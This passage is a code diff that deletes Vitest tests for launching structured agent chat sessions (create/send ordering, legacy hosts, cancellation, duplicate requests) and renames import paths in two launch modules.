-  registerCreateHydrationTests()
-
-  it('keeps the old create-then-send payload for an older host', async () => {
-    mocks.supports.mockResolvedValue(false)
-    mocks.call.mockImplementation(async (_target, method, params) => {
-      if (method === 'agentSession.create') {
-        return created()
-      }
-      const send = SendParams.parse(params)
-      return {
-        ok: true,
-        value: {
-          clientMessageId: send.envelope.clientOperationId,
-          submission: submission(send.envelope.clientOperationId)
-        }
-      }
-    })
-    const launch = startStructuredAgentLaunch('workspace-1', 'claude', {
-      requestId: newAgentLaunchRequestId(),
-      executionHostId: 'local',
-      prompt: 'opening text',
-      launchOptions: { fastMode: 'true' }
-    })
-    mocks.inventory.mockResolvedValue([
-      { worktree: 'workspace-1', tabs: [{ type: 'agent-session', sessionId: launch.sessionId }] }
-    ])
-    await launch.launchResult
-    await expect(launch.promptDeliveryResult).resolves.toMatchObject({ delivered: true })
-    expect(createParams()).not.toHaveProperty('firstMessage')
-    expect(createParams()).not.toHaveProperty('options')
-    expect(mocks.call.mock.calls.map(([, method]) => method)).toEqual([
-      'agentSession.create',
-      'agentSession.send'
-    ])
-  })
-
-  it('a generated legacy effort refusal does not stop the opening prompt', async () => {
-    const launch = startLegacyActionLaunch({ model: 'gpt-5.6-sol' }, 'effort', {
-      code: 'agent_session_operation_invalid',
-      message: 'unavailable'
-    })
-    const receipt = await launch.launchResult
-    expect(receipt.configurationFailure).toBeUndefined()
-    await expect(launch.promptDeliveryResult).resolves.toMatchObject({ delivered: true })
-    expect(
-      mocks.call.mock.calls
-        .filter(([, method]) => method === 'agentSession.setOption')
-        .map(([, , params]) => params)
-    ).toEqual([
-      expect.objectContaining({ key: 'model', value: 'gpt-5.6-sol' }),
-      expect.objectContaining({ key: 'effort', value: 'medium' })
-    ])
-    expect(createParams()).not.toHaveProperty('options')
-    expect(draft(launch.sessionId)).toBe('')
-  })
-
-  it.each([
-    { key: 'model', unknown: false },
-    { key: 'effort', unknown: false },
-    { key: 'model', unknown: true }
-  ])(
-    'keeps the legacy chat and text when required input fails: %j',
-    async ({ key: refused, unknown }) => {
-      const launch = startLegacyActionLaunch(
-        { model: 'action-model', effort: 'high' },
-        refused,
-        unknown
-          ? new Error('runtime_unavailable')
-          : {
-              code: 'agent_session_operation_invalid',
-              details: { reason: 'optionRejected' },
-              message: 'unavailable'
-            }
-      )
-      const receipt = await launch.launchResult
-      expect(receipt).toMatchObject({ sessionId: launch.sessionId, configurationFailure: {} })
-      await expect(launch.promptDeliveryResult).resolves.toMatchObject({
-        delivered: false,
-        inComposer: true,
-        failureNotified: true
-      })
-      expect(draft(launch.sessionId)).toBe('opening text')
-      expect(getStructuredAgentSessionSendNotice(launch.sessionId)).toContain('Codex')
-      expect(mocks.call.mock.calls.filter(([, method]) => method === 'agentSession.send')).toEqual(
-        []
-      )
-      expect(readStructuredAgentLaunchRecord(launch.sessionId)).toBeUndefined()
-      expect(
-        mocks.call.mock.calls.filter(([, method]) => method === 'agentSession.create')
-      ).toHaveLength(1)
-    }
-  )
-
-  it('keeps the older host acquisition wait outside the send deadline', async () => {
-    const create = deferred<unknown>()
-    mocks.supports.mockResolvedValue(false)
-    mocks.call.mockReturnValue(create.promise)
-    const launch = start()
-    mocks.inventory.mockResolvedValue([
-      { worktree: 'workspace-1', tabs: [{ type: 'agent-session', sessionId: launch.sessionId }] }
-    ])
-    await vi.waitFor(() => expect(mocks.call).toHaveBeenCalledOnce())
-    await vi.advanceTimersByTimeAsync(45_000)
-    expect(draft(launch.sessionId)).toBe('')
-    expect(getStructuredAgentSessionPendingSends(launch.sessionId)[0]?.phase).toBe('sending')
-    mocks.call.mockImplementation(async (_target, _method, params) => {
-      const send = SendParams.parse(params)
-      return {
-        ok: true,
-        value: {
-          clientMessageId: send.envelope.clientOperationId,
-          submission: submission(send.envelope.clientOperationId)
-        }
-      }
-    })
-    create.resolve(created())
-    await launch.launchResult
-    await expect(launch.promptDeliveryResult).resolves.toMatchObject({ delivered: true })
-    expect(mocks.call.mock.calls.map(([, method]) => method)).toEqual([
-      'agentSession.create',
-      'agentSession.send'
-    ])
-  })
-
-  it.each([false, true])(
-    'bounds preissue capability waiting with caller-owned input=%s',
-    async (callerKeeps) => {
-      const support = deferred<boolean>()
-      mocks.supports.mockReturnValue(support.promise)
-      mocks.call.mockImplementation(async () => created())
-      const launch = startStructuredAgentLaunch('workspace-1', 'codex', {
-        requestId: newAgentLaunchRequestId(),
-        executionHostId: 'local',
-        prompt: 'opening text',
-        ...(callerKeeps ? { promptKeptByCaller: true as const } : {})
-      })
-      await vi.advanceTimersByTimeAsync(30_000)
-      expect(draft(launch.sessionId)).toBe(callerKeeps ? '' : 'opening text')
-      await expect(launch.promptDeliveryResult).resolves.toMatchObject({
-        delivered: false,
-        ...(callerKeeps ? {} : { inComposer: true })
-      })
-      expect(draft(launch.sessionId)).toBe(callerKeeps ? '' : 'opening text')
-      support.resolve(true)
-      await expect(launch.launchResult).rejects.toThrow('Opening input retired before create.')
-      await Promise.resolve()
-      expect(mocks.call).not.toHaveBeenCalled()
-      expect(draft(launch.sessionId)).toBe(callerKeeps ? '' : 'opening text')
-    }
-  )
-
-  it('keeps the same first-message intent when the paired host reports its seed', async () => {
-    mocks.admit.mockResolvedValue({ kind: 'admitted', seedOptions: { model: 'host-default' } })
-    mocks.call.mockImplementation(async () => created())
-    const launch = startStructuredAgentLaunch('workspace-1', 'codex', {
-      requestId: newAgentLaunchRequestId(),
-      executionHostId: 'runtime:server-1',
-      prompt: 'opening text'
-    })
-    await vi.waitFor(() => expect(mocks.call).toHaveBeenCalledOnce())
-    expect(createParams().firstMessage?.body.blocks).toEqual([
-      { type: 'text', text: 'opening text' }
-    ])
-    await launch.launchResult
-    await expect(launch.promptDeliveryResult).resolves.toMatchObject({ delivered: true })
-    expect(mocks.call).toHaveBeenCalledWith(
-      { kind: 'environment', environmentId: 'server-1' },
-      'agentSession.create',
-      expect.objectContaining({ firstMessage: expect.any(Object) })
-    )
-    expect(mocks.call.mock.calls.map(([, method]) => method)).toEqual(['agentSession.create'])
-    expect(
-      getStructuredAgentSessionReadOwner(launch.sessionId, {
-        kind: 'environment',
-        environmentId: 'server-1'
-      }).getSnapshot().state.fence
-    ).toBe(1)
-    expect(
-      getStructuredAgentSessionReadOwner(launch.sessionId, target).getSnapshot().state.fence
-    ).toBeNull()
-  })
-
-  it('enqueues two late picks before modern publication without waiting for acceptance', async () => {
-    const create = deferred<unknown>()
-    const replies = [deferred<unknown>(), deferred<unknown>()]
-    let writes = 0
-    mocks.call.mockImplementation((_target, method) =>
-      method === 'agentSession.setOption' ? replies[writes++]!.promise : create.promise
-    )
-    const launch = start()
-    await vi.waitFor(() => expect(mocks.call).toHaveBeenCalledOnce())
-    holdStructuredAgentSessionLaunchOption(launch.sessionId, 'model', 'sonnet')
-    holdStructuredAgentSessionLaunchOption(launch.sessionId, 'effort', 'high')
-    create.resolve(created())
-    let published = false
-    void launch.launchResult.then(() => {
-      published = true
-    })
-    await vi.waitFor(() => expect(published).toBe(true))
-    await launch.launchResult
-    await expect(launch.promptDeliveryResult).resolves.toMatchObject({ delivered: true })
-    expect(mocks.call.mock.calls.map(([, method]) => method)).toEqual([
-      'agentSession.create',
-      'agentSession.setOption',
-      'agentSession.setOption'
-    ])
-    const controller = structuredSessionSelectionController(target, launch.sessionId, 'codex')
-    expect(controller.pending()).toHaveLength(2)
-    replies[1]!.resolve({ ok: true, value: { options: { effort: 'high' } } })
-    replies[0]!.resolve({ ok: true, value: { options: { model: 'sonnet' } } })
-    await vi.waitFor(() => expect(controller.captureRead()).toHaveLength(2))
-  })
-
-  it.each(['cached', 'disk'])(
-    'reopens %s opening content without replay on a limited history page',
-    async (source) => {
-      mocks.call.mockReturnValue(new Promise(() => {}))
-      mocks.supportsMode.mockResolvedValue(false)
-      const resumeFrom = { providerSessionId: 'provider-session-1' }
-      const launch = startStructuredAgentLaunch('workspace-1', 'codex', {
-        requestId: newAgentLaunchRequestId(),
-        executionHostId: 'local',
-        prompt: 'opening text',
-        resumeFrom,
-        launchOptions: { model: 'gpt-5.6-sol' }
-      })
-      await vi.waitFor(() => expect(mocks.call).toHaveBeenCalledOnce())
-      const original = createParams()
-      expect(original.optionsMode).toBeUndefined()
-      expect(original.options?.effort).toBe('medium')
-      expect(readStructuredAgentLaunchRecord(launch.sessionId)?.explicitLaunchOptions).toEqual({
-        model: 'gpt-5.6-sol'
-      })
-      mocks.supportsMode.mockResolvedValue(true)
-      const saved = readStructuredAgentLaunchRecord(launch.sessionId)
-      const page = created().value.page
-      page.submissions = []
-      resetStructuredAgentLaunchRegistryForTests()
-      if (source === 'disk') {
-        resetStructuredAgentLaunchPersistenceForTests()
-      }
-      resetStructuredAgentSessionSendsForTests()
-      mocks.inventory.mockResolvedValue([
-        { worktree: 'workspace-1', tabs: [{ type: 'agent-session', sessionId: launch.sessionId }] }
-      ])
-      mocks.call.mockResolvedValue({ ok: true, page })
-      markStructuredAgentSessionLaunchPublished('workspace-1', launch.sessionId, 'local')
-      await vi.waitFor(() =>
-        expect(
-          mocks.call.mock.calls.filter(([, method]) => method === 'agentSession.history')
-        ).toHaveLength(1)
-      )
-      await Promise.resolve()
-      expect(readStructuredAgentLaunchRecord(launch.sessionId)).toEqual({
-        ...saved,
-        lifecycle: 'visibility-unknown'
-      })
-      expect(getStructuredAgentSessionPendingSends(launch.sessionId)).toMatchObject([
-        {
-          clientMessageId: original.firstMessage?.clientMessageId,
-          body: original.firstMessage?.body,
-          options: original.options,
-          phase: 'unconfirmed'
-        }
-      ])
-      recheckUnconfirmedStructuredAgentLaunches('local')
-      await vi.waitFor(() =>
-        expect(
-          mocks.call.mock.calls.filter(([, method]) => method === 'agentSession.history')
-        ).toHaveLength(2)
-      )
-      const joined = startStructuredAgentLaunch('workspace-1', 'codex', {
-        requestId: newAgentLaunchRequestId(),
-        executionHostId: 'local',
-        resumeFrom
-      })
-      expect(joined.sessionId).toBe(launch.sessionId)
-      await expect(joined.launchResult).rejects.toThrow('Opening message outcome unknown.')
-      expect(
-        mocks.call.mock.calls.filter(([, method]) => method === 'agentSession.create')
-      ).toHaveLength(1)
-      expect(mocks.call.mock.calls.filter(([, method]) => method === 'agentSession.send')).toEqual(
-        []
-      )
-      for (const population of [20, 200]) {
-        let reads = 0
-        const unrelated = Array.from({ length: population }, (_, index) => ({
-          ...submission(`unrelated-${index}`),
-          get reason() {
-            reads += 1
-            return null
-          }
-        }))
-        settleStructuredAgentSessionSendsFromJournal(launch.sessionId, unrelated, [])
-        expect(reads).toBe(population)
-      }
-
-      expect(readStructuredAgentLaunchRecord(launch.sessionId)?.firstMessage).toEqual(
-        original.firstMessage
-      )
-      settleStructuredAgentSessionSendsFromJournal(
-        launch.sessionId,
-        [submission(original.firstMessage?.clientMessageId ?? '')],
-        []
-      )
-      expect(readStructuredAgentLaunchRecord(launch.sessionId)).toBeUndefined()
-      expect(getStructuredAgentSessionPendingSends(launch.sessionId)).toEqual([])
-      let completedReads = 0
-      settleStructuredAgentSessionSendsFromJournal(
-        launch.sessionId,
-        [
-          {
-            ...submission('unrelated-after-completion'),
-            get reason() {
-              completedReads += 1
-              return null
-            }
-          }
-        ],
-        []
-      )
-      expect(completedReads).toBe(0)
-      const creates = mocks.call.mock.calls.filter(([, method]) => method === 'agentSession.create')
-      expect(creates).toHaveLength(1)
-      expect(creates[0]?.[2]).toEqual(original)
-      expect(mocks.supports).toHaveBeenCalledOnce()
-      expect(draft(launch.sessionId)).toBe('')
-    }
-  )
-
-  it.each([
-    // A window-owned build leaves a cancellation record; this machine's host closes the chat itself.
-    ['a window-owned', false, ['agentSession.create']],
-    ['a layout-owner', true, ['agentSession.close', 'agentSession.create']]
-  ])(
-    'does not revive a closed conversation reader when create replies late, in %s build',
-    async (_build, isMain, methods) => {
-      layoutOwner.isMain = isMain
-      const create = deferred<unknown>()
-      mocks.call.mockImplementation((_target, method) =>
-        method === 'agentSession.create' ? create.promise : Promise.resolve({})
-      )
-      const launch = start()
-      await vi.waitFor(() => expect(mocks.call).toHaveBeenCalledOnce())
-      expect(cancelStructuredAgentLaunch('workspace-1', launch.sessionId)).toBe(true)
-      create.resolve(created())
-      await expect(launch.launchResult).rejects.toThrow('structured session launch cancelled')
-      expect(findStructuredAgentSessionReadOwner(launch.sessionId, target)).toBeUndefined()
-      expect(mocks.call.mock.calls.map(([, method]) => method).sort()).toEqual(methods)
-    }
-  )
-
-  it.each([false, true])(
-    'observes reconnect without rearming startup when published=%s',
-    async (published) => {
-      mocks.call.mockReturnValue(new Promise(() => {}))
-      const launch = start()
-      await vi.waitFor(() => expect(mocks.call).toHaveBeenCalledOnce())
-      const original = createParams()
-      await vi.advanceTimersByTimeAsync(30_000)
-      await launch.promptDeliveryResult
-      mocks.inventory.mockResolvedValue(
-        published
-          ? [
-              {
-                worktree: 'workspace-1',
-                tabs: [{ type: 'agent-session', sessionId: launch.sessionId }]
-              }
-            ]
-          : []
-      )
-      recheckUnconfirmedStructuredAgentLaunches('local')
-      if (published) {
-        await vi.waitFor(() => expect(mocks.call).toHaveBeenCalledTimes(2))
-      }
-      await vi.advanceTimersByTimeAsync(30_000)
-      expect(getStructuredAgentLaunchStatus('workspace-1', 'codex')).toBe('idle')
-      expect(readStructuredAgentLaunchRecord(launch.sessionId)?.firstMessage).toEqual(
-        original.firstMessage
-      )
-      expect(
-        mocks.call.mock.calls.filter(([, method]) => method === 'agentSession.create')
-      ).toHaveLength(1)
-      expect(mocks.call.mock.calls.filter(([, method]) => method === 'agentSession.send')).toEqual(
-        []
-      )
-      expect(getStructuredAgentSessionPendingSends(launch.sessionId)[0]?.phase).toBe('unconfirmed')
-      expect(draft(launch.sessionId)).toBe('')
-    }
-  )
-})
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-create-message.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-create-message.ts
index c0cc637ad90..9de2281d959 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-create-message.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-create-message.ts
@@ -9,13 +9,13 @@ import { AGENT_CHAT_PERMISSION_MODE_OPTION_ID } from '../../../../../shared/agen
 import {
   type StructuredLaunchState,
   notifyStructuredLaunchListeners
-} from './structured-agent-session-launch-registry'
+} from './structured-agent-session-launch-state-store'
 import {
   prepareStructuredLaunchPromptForCreate,
   hasStagedStructuredLaunchPrompt,
   issueStructuredLaunchPromptForCreate,
   prepareLegacyStructuredLaunchPrompts
-} from './structured-agent-session-launch-prompt'
+} from './structured-agent-session-staged-prompt'
 import type { StructuredAgentLaunchReceipt } from './structured-agent-session-launch-recovery'
 import {
   structuredAgentSessionMessageSelection,
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-create-support.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-create-support.ts
index 2b46b5c4342..26d40473506 100644
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-create-support.ts
+++ b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-create-support.ts
@@ -3,7 +3,7 @@ import {
   getPersistedStructuredAgentLaunchRecord,
   getStructuredLaunchStateBySessionId,
   subscribeStructuredAgentLaunchStatus
-} from './structured-agent-session-launch-registry'
+} from './structured-agent-session-launch-state-store'
 
 /** Unknown capability keeps Stop unavailable until create can publish or choose the old flow. */
 export function useStructuredLaunchCreateSupport(sessionId: string): boolean | undefined {
diff --git a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-different-request.test.ts b/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-different-request.test.ts
deleted file mode 100644
index abf123e89b8..00000000000
--- a/src/renderer/src/lib/agent-session/launch/structured-agent-session-launch-different-request.test.ts
+++ /dev/null
@@ -1,437 +0,0 @@
-// @vitest-environment happy-dom
-
-// @vitest-environment happy-dom
-import {
-  readNativeChatComposerDraft,
-  updateNativeChatComposerDraft
-} from '@/components/native-chat/drafts/native-chat-composer-draft-store'
-// @vitest-environment happy-dom
-import { structuredAgentSessionDraftScopeKey } from '@/components/native-chat/drafts/native-chat-draft-scope'
-import type * as LaunchErrors from '@/lib/agent-session/launch/structured-agent-session-launch-errors'
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-import type { RuntimeMobileSessionTabsResult } from '../../../../../shared/runtime-session-contracts'
-import type { StructuredAgentSessionLaunchIntent } from '@/lib/launch-structured-agent-session'
-
-const mocks = vi.hoisted(() => ({
-  abandonIntent: vi.fn(),
-  callRuntimeRpc: vi.fn(),
-  createIntent: vi.fn(),
-  retryIntent: vi.fn(),
-  restoreIntent: vi.fn(),
-  launch: vi.fn(),
-  seedDraft: vi.fn(),
-  clearDraft: vi.fn()
-}))
-
-vi.mock('sonner', () => ({ toast: { error: vi.fn(), message: vi.fn() } }))
-
-const launchErrorMocks = vi.hoisted(() => {
-  class StructuredAgentSessionCreateRefusalError extends Error {}
-  return { StructuredAgentSessionCreateRefusalError }
-})
-
-vi.mock('@/lib/agent-session/launch/structured-agent-session-launch-errors', async () => ({
-  ...(await vi.importActual<typeof LaunchErrors>(
-    '@/lib/agent-session/launch/structured-agent-session-launch-errors'
-  )),
-  ...launchErrorMocks
-}))
-
-vi.mock('@/lib/agent-session/launch/structured-agent-session-launch-create-call', () => ({
-  launchStructuredAgentSession: mocks.launch
-}))
-
-vi.mock('@/lib/launch-structured-agent-session', () => {
-  return {
-    createStructuredAgentSessionLaunchIntent: mocks.createIntent,
-    retryStructuredAgentSessionLaunchIntent: mocks.retryIntent,
-    restoreStructuredAgentSessionLaunchIntent: mocks.restoreIntent,
-    abandonStructuredAgentSessionLaunchIntent: mocks.abandonIntent,
-    launchStructuredAgentSession: mocks.launch,
-    StructuredAgentSessionCreateRefusalError:
-      launchErrorMocks.StructuredAgentSessionCreateRefusalError
-  }
-})
-
-vi.mock('@/runtime/local-structured-session-tabs-sync/inventory-refresh', () => ({
-  refreshLocalStructuredSessionTabs: vi.fn()
-}))
-
-vi.mock('../../../runtime/native-chat/requests/structured-agent-session-call', () => ({
-  // Sends reach the runtime RPC through this wrapper, as in the app.
-  callStructuredAgentSession: (target: unknown, method: string, params?: unknown) =>
-    mocks.callRuntimeRpc(target, method, params)
-}))
-
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', () => ({
-  callRuntimeRpc: mocks.callRuntimeRpc
-}))
-vi.mock('@/runtime/rpc/compatibility/runtime-compatibility-probe', () => ({
-  ensureRuntimeEnvironmentCompatible: vi.fn(async () => undefined)
-}))
-
-vi.mock('@/store/index', () => ({
-  useAppStore: {
-    getState: () => ({
-      unifiedTabsByWorktree: {},
-      seedNativeChatLaunchDraft: mocks.seedDraft,
-      clearNativeChatLaunchDraft: mocks.clearDraft
-    }),
-    subscribe: () => () => undefined
-  }
-}))
-
-vi.mock('@/i18n/i18n', () => ({
-  translate: (_key: string, fallback: string) => fallback
-}))
-
-vi.mock('@/lib/agent-catalog/agent-catalog', () => ({
-  getAgentLabel: () => 'Codex',
-  getAgentCatalog: () => [{ id: 'codex', label: 'Codex' }]
-}))
-
-import { refreshLocalStructuredSessionTabs } from '@/runtime/local-structured-session-tabs-sync/inventory-refresh'
-import { resetStructuredAgentSessionSendsForTests } from '@/components/native-chat/session/structured/delivery/structured-agent-session-message-sender'
-import { clearNativeChatComposerDraftsForTests as clearNativeChatDraftCacheForTests } from '@/components/native-chat/drafts/native-chat-draft-reset'
-import { resetStructuredAgentLaunchRegistryForTests } from './structured-agent-session-launch-registry'
-import { startStructuredAgentLaunch } from './structured-agent-session-launch'
-import {
-  discardStructuredLaunchPrompts,
-  hasStagedStructuredLaunchPrompt
-} from './structured-agent-session-launch-prompt'
-import { resetStructuredAgentLaunchPersistenceForTests } from './structured-agent-session-launch-persistence'
-
-const WORKTREE_ID = 'wt-different-request'
-
-function launchIntent(sessionId: string): StructuredAgentSessionLaunchIntent {
-  return {
-    worktreeId: WORKTREE_ID,
-    sessionId,
-    executionHostId: 'local',
-    target: { kind: 'local' },
-    agent: 'codex',
-    params: {
-      envelope: {
-        sessionId,
-        clientOperationId: `operation-${sessionId}`,
-        expectedRuntimeFence: null,
-        payloadFingerprint: `fingerprint-${sessionId}`
-      },
-      worktree: `id:${WORKTREE_ID}`,
-      agent: 'codex'
-    }
-  }
-}
-
-function publishedSnapshot(...sessionIds: string[]): RuntimeMobileSessionTabsResult {
-  return {
-    worktree: WORKTREE_ID,
-    publicationEpoch: 'epoch-1',
-    snapshotVersion: 1,
-    activeGroupId: null,
-    activeTabId: null,
-    activeTabType: null,
-    tabs: sessionIds.map((sessionId) => ({
-      type: 'agent-session',
-      id: `tab-${sessionId}`,
-      title: 'Codex',
-      sessionId,
-      agent: 'codex',
-      isActive: false
-    }))
-  }
-}
-
-const first = launchIntent('session-first')
-const second = launchIntent('session-second')
-
-/** Clears what earlier tests' launches still hold in memory under these chats. */
-function resetSends(): void {
-  resetStructuredAgentSessionSendsForTests()
-  clearNativeChatDraftCacheForTests()
-  for (const sessionId of ['session-first', 'session-second', 'session-third']) {
-    discardStructuredLaunchPrompts(sessionId)
-  }
-}
-
-/** Every `agentSession.send` as [session, text]. */
-function sends(): [string, string][] {
-  return mocks.callRuntimeRpc.mock.calls
-    .filter((call) => call[1] === 'agentSession.send')
-    .map((call) => [call[2].envelope.sessionId, call[2].body.blocks[0].text])
-}
-
-describe('a different action while the first chat is still starting', () => {
-  let resolveFirstLaunch!: (receipt: { sessionId: string; fence: number }) => void
-
-  beforeEach(() => {
-    vi.resetAllMocks()
-    localStorage.clear()
-    resetStructuredAgentLaunchPersistenceForTests()
-    resetStructuredAgentLaunchRegistryForTests()
-    resetSends()
-    mocks.createIntent.mockReturnValueOnce(first).mockReturnValueOnce(second)
-    mocks.launch.mockImplementation((intent: StructuredAgentSessionLaunchIntent) =>
-      intent.sessionId === first.sessionId
-        ? new Promise((resolve) => (resolveFirstLaunch = resolve))
-        : Promise.resolve({ sessionId: intent.sessionId, fence: 1 })
-    )
-    vi.mocked(refreshLocalStructuredSessionTabs).mockResolvedValue([
-      publishedSnapshot(first.sessionId, second.sessionId)
-    ])
-    mocks.callRuntimeRpc.mockResolvedValue({
-      ok: true,
-      value: { submission: { dispatchState: 'accepted' } }
-    })
-  })
-
-  it('opens a new chat with its own text while the first create is in flight', async () => {
-    const checkA = startStructuredAgentLaunch(WORKTREE_ID, 'codex', {
-      requestId: 'fix-check-a-click',
-      prompt: 'Fix check A',
-      promptDelivery: 'submit-after-ready'
-    })
-    const checkB = startStructuredAgentLaunch(WORKTREE_ID, 'codex', {
-      requestId: 'fix-check-b-click',
-      prompt: 'Fix check B',
-      promptDelivery: 'submit-after-ready'
-    })
-
-    expect(checkB.sessionId).toBe(second.sessionId)
-    await expect(checkB.promptDeliveryResult).resolves.toEqual({
-      delivered: true,
-      failureNotified: false
-    })
-    resolveFirstLaunch({ sessionId: first.sessionId, fence: 1 })
-    await expect(checkA.promptDeliveryResult).resolves.toEqual({
-      delivered: true,
-      failureNotified: false
-    })
-    expect(sends()).toEqual([
-      [second.sessionId, 'Fix check B'],
-      [first.sessionId, 'Fix check A']
-    ])
-  })
-
-  it('opens a new chat with its own text while the first chat is still sending its text', async () => {
-    let resolveFirstSend!: (result: unknown) => void
-    mocks.callRuntimeRpc.mockImplementationOnce(
-      () => new Promise((resolve) => (resolveFirstSend = resolve))
-    )
-    const checkA = startStructuredAgentLaunch(WORKTREE_ID, 'codex', {
-      requestId: 'fix-check-a-click',
-      prompt: 'Fix check A',
-      promptDelivery: 'submit-after-ready'
-    })
-    resolveFirstLaunch({ sessionId: first.sessionId, fence: 1 })
-    await vi.waitFor(() => expect(sends()).toEqual([[first.sessionId, 'Fix check A']]))
-
-    const checkB = startStructuredAgentLaunch(WORKTREE_ID, 'codex', {
-      requestId: 'fix-check-b-click',
-      prompt: 'Fix check B',
-      promptDelivery: 'submit-after-ready'
-    })
-
-    expect(checkB.sessionId).toBe(second.sessionId)
-    await expect(checkB.promptDeliveryResult).resolves.toEqual({
-      delivered: true,
-      failureNotified: false
-    })
-    resolveFirstSend({ ok: true, value: { submission: { dispatchState: 'accepted' } } })
-    await expect(checkA.promptDeliveryResult).resolves.toEqual({
-      delivered: true,
-      failureNotified: false
-    })
-    expect(sends()).toEqual([
-      [first.sessionId, 'Fix check A'],
-      [second.sessionId, 'Fix check B']
-    ])
-  })
-
-  it('opens two chats for two actions with identical text', async () => {
-    const firstClick = startStructuredAgentLaunch(WORKTREE_ID, 'codex', {
-      requestId: 'fix-click-1',
-      prompt: 'Fix check A',
-      promptDelivery: 'submit-after-ready'
-    })
-    const secondClick = startStructuredAgentLaunch(WORKTREE_ID, 'codex', {
-      requestId: 'fix-click-2',
-      prompt: 'Fix check A',
-      promptDelivery: 'submit-after-ready'
-    })
-    resolveFirstLaunch({ sessionId: first.sessionId, fence: 1 })
-
-    expect(secondClick.sessionId).toBe(second.sessionId)
-    for (const click of [firstClick, secondClick]) {
-      await expect(click.promptDeliveryResult).resolves.toEqual({
-        delivered: true,
-        failureNotified: false
-      })
-    }
-    expect(sends()).toEqual(
-      expect.arrayContaining([
-        [first.sessionId, 'Fix check A'],
-        [second.sessionId, 'Fix check A']
-      ])
-    )
-    expect(sends()).toHaveLength(2)
-  })
-})
-
-describe('one action delivered twice while its chat is still starting', () => {
-  beforeEach(() => {
-    vi.resetAllMocks()
-    localStorage.clear()
-    resetStructuredAgentLaunchPersistenceForTests()
-    resetStructuredAgentLaunchRegistryForTests()
-    resetSends()
-    mocks.createIntent.mockReturnValueOnce(first).mockReturnValueOnce(second)
-    vi.mocked(refreshLocalStructuredSessionTabs).mockResolvedValue([
-      publishedSnapshot(first.sessionId, second.sessionId)
-    ])
-    mocks.callRuntimeRpc.mockResolvedValue({
-      ok: true,
-      value: { submission: { dispatchState: 'accepted' } }
-    })
-  })
-
-  it('makes one chat and sends its text once while the create is in flight', async () => {
-    let resolveLaunch!: (receipt: { sessionId: string; fence: number }) => void
-    mocks.launch.mockImplementation(() => new Promise((resolve) => (resolveLaunch = resolve)))
-    const onFirstDelivered = vi.fn()
-    const onRepeatDelivered = vi.fn()
-
-    const click = startStructuredAgentLaunch(WORKTREE_ID, 'codex', {
-      requestId: 'fix-click',
-      prompt: 'Fix check A',
-      promptDelivery: 'submit-after-ready',
-      onPromptDelivered: onFirstDelivered
-    })
-    const repeat = startStructuredAgentLaunch(WORKTREE_ID, 'codex', {
-      requestId: 'fix-click',
-      prompt: 'Fix check A',
-      promptDelivery: 'submit-after-ready',
-      onPromptDelivered: onRepeatDelivered
-    })
-    resolveLaunch({ sessionId: first.sessionId, fence: 1 })
-
-    expect(repeat.sessionId).toBe(click.sessionId)
-    for (const caller of [click, repeat]) {
-      await expect(caller.promptDeliveryResult).resolves.toEqual({
-        delivered: true,
-        failureNotified: false
-      })
-    }
-    expect(sends()).toEqual([[first.sessionId, 'Fix check A']])
-    expect(onFirstDelivered).toHaveBeenCalledOnce()
-    expect(onRepeatDelivered).toHaveBeenCalledOnce()
-  })
-
-  // Fix with AI re-delivery may fetch newer logs; it still belongs to the original click/request.
-  it("makes one chat that sends the first delivery's text once when a re-delivery carries other text", async () => {
-    let resolveLaunch!: (receipt: { sessionId: string; fence: number }) => void
-    mocks.launch.mockImplementation(() => new Promise((resolve) => (resolveLaunch = resolve)))
-
-    const click = startStructuredAgentLaunch(WORKTREE_ID, 'codex', {
-      requestId: 'fix-click',
-      prompt: 'Fix check A (logs at 10:00)',
-      promptDelivery: 'submit-after-ready'
-    })
-    const redelivery = startStructuredAgentLaunch(WORKTREE_ID, 'codex', {
-      requestId: 'fix-click',
-      prompt: 'Fix check A (logs at 10:01)',
-      promptDelivery: 'submit-after-ready'
-    })
-    resolveLaunch({ sessionId: first.sessionId, fence: 1 })
-
-    expect(redelivery.sessionId).toBe(click.sessionId)
-    expect(mocks.createIntent).toHaveBeenCalledOnce()
-    for (const caller of [click, redelivery]) {
-      await expect(caller.promptDeliveryResult).resolves.toEqual({
-        delivered: true,
-        failureNotified: false
-      })
-    }
-    expect(sends()).toEqual([[first.sessionId, 'Fix check A (logs at 10:00)']])
-    expect(hasStagedStructuredLaunchPrompt(first.sessionId)).toBe(false)
-  })
-
-  it('seeds a repeated draft once', () => {
-    mocks.launch.mockImplementation(() => new Promise(() => undefined))
-
-    const click = startStructuredAgentLaunch(WORKTREE_ID, 'codex', {
-      requestId: 'continue-click',
-      prompt: 'PR context',
-      promptDelivery: 'draft'
-    })
-    const scope = structuredAgentSessionDraftScopeKey(click.sessionId)
-    expect(readNativeChatComposerDraft(scope).text).toBe('PR context')
-    updateNativeChatComposerDraft(scope, { text: '', document: undefined }, 'immediate')
-    const repeat = startStructuredAgentLaunch(WORKTREE_ID, 'codex', {
-      requestId: 'continue-click',
-      prompt: 'PR context',
-      promptDelivery: 'draft'
-    })
-
-    expect(repeat.sessionId).toBe(click.sessionId)
-    expect(readNativeChatComposerDraft(scope).text).toBe('')
-  })
-})
-
-describe('an action with text beside an empty chat still starting', () => {
-  let resolveFirstLaunch!: (receipt: { sessionId: string; fence: number }) => void
-  const notesSend = {
-    requestId: 'notes-send',
-    prompt: 'review notes',
-    promptDelivery: 'submit-after-ready'
-  } as const
-
-  beforeEach(() => {
-    vi.resetAllMocks()
-    localStorage.clear()
-    resetStructuredAgentLaunchPersistenceForTests()
-    resetStructuredAgentLaunchRegistryForTests()
-    resetSends()
-    mocks.createIntent.mockReturnValueOnce(first).mockReturnValueOnce(second)
-    mocks.launch.mockImplementation((intent: StructuredAgentSessionLaunchIntent) =>
-      intent.sessionId === first.sessionId
-        ? new Promise((resolve) => (resolveFirstLaunch = resolve))
